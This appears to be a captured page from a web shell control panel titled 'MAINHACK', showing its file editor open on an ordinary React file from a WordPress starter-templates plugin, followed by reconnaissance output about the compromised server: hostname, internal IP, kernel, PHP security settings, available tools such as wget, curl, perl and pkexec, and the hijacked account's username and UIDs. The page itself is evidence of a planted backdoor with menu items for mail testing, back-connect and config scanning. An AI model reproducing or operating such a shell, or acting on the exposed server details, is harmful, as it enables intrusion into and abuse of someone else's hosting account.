[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.js
import React, { useEffect } from 'react'; import { __ } from '@wordpress/i18n'; // import { useState } from '@wordpress/element'; import { DefaultStep, PreviousStepLink } from '../../components/index'; import { useStateValue } from '../../store/store'; import ZipWPAuthorize from '../../components/zipwp-auth/index'; const { imageDir, isBeaverBuilderDisabled } = starterTemplates; const PageBuilder = () => { const [ { currentIndex }, dispatch ] = useStateValue(); // const [ builder, setBuilder ] = useState( 'ai' ); useEffect( () => { const startTime = localStorage.getItem( 'st-import-start' ); const endTime = localStorage.getItem( 'st-import-end' ); if ( startTime || endTime ) { localStorage.removeItem( 'st-import-start' ); localStorage.removeItem( 'st-import-end' ); } } ); const update = ( builder ) => { if ( builder !== 'ai' ) { dispatch( { type: 'set', builder, currentIndex: currentIndex + 1, } ); } }; const handleKeyPress = ( e, value ) => { e = e || window.event; if ( e.keyCode === 37 ) { //Left Arrow if ( e.target.previousSibling ) { e.target.previousSibling.focus(); } } else if ( e.keyCode === 39 ) { //Right Arrow if ( e.target.nextSibling ) { e.target.nextSibling.focus(); } } else if ( e.key === 'Enter' ) { //Enter update( value ); } }; return ( <DefaultStep content={ <div className="page-builder-screen-wrap middle-content"> <h1>{ __( 'Select Page Builder', 'astra-sites' ) }</h1> <p className="screen-description"> { __( 'Please choose your preferred page builder from the list below.', 'astra-sites' ) } </p> <div className="page-builder-wrap ist-fadeinUp"> <div className="page-builder-item d-flex-center-align" onClick={ () => { update( 'ai' ); } } tabIndex="0" onKeyDown={ ( event ) => handleKeyPress( event, 'ai' ) } > <div className="elementor-image-wrap image-wrap"> <img src={ `${ imageDir }block-editor.svg` } alt={ __( 'Block Editor', 'astra-sites' ) } /> </div> <h6>{ __( 'AI Site', 'astra-sites' ) }</h6> </div> { ! isBeaverBuilderDisabled && ( <div className="page-builder-item d-flex-center-align" onClick={ () => { update( 'legacy' ); } } tabIndex="0" onKeyDown={ ( event ) => handleKeyPress( event, 'legacy' ) } > <div className="beaver-builder-image-wrap image-wrap"> <img src={ `${ imageDir }beaver-builder.svg` } alt={ __( 'Beaver Builder', 'astra-sites' ) } /> </div> <h6>{ __( 'Legacy', 'astra-sites' ) }</h6> </div> ) } </div> <div className="zipwp-authorize-wrap"> { <ZipWPAuthorize /> } </div> </div> } actions={ <> <PreviousStepLink before customizeStep={ true } onClick={ () => { window.location.href = starterTemplates.adminUrl; } } > { __( 'Back', 'astra-sites' ) } </PreviousStepLink> </> } /> ); }; export default PageBuilder;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697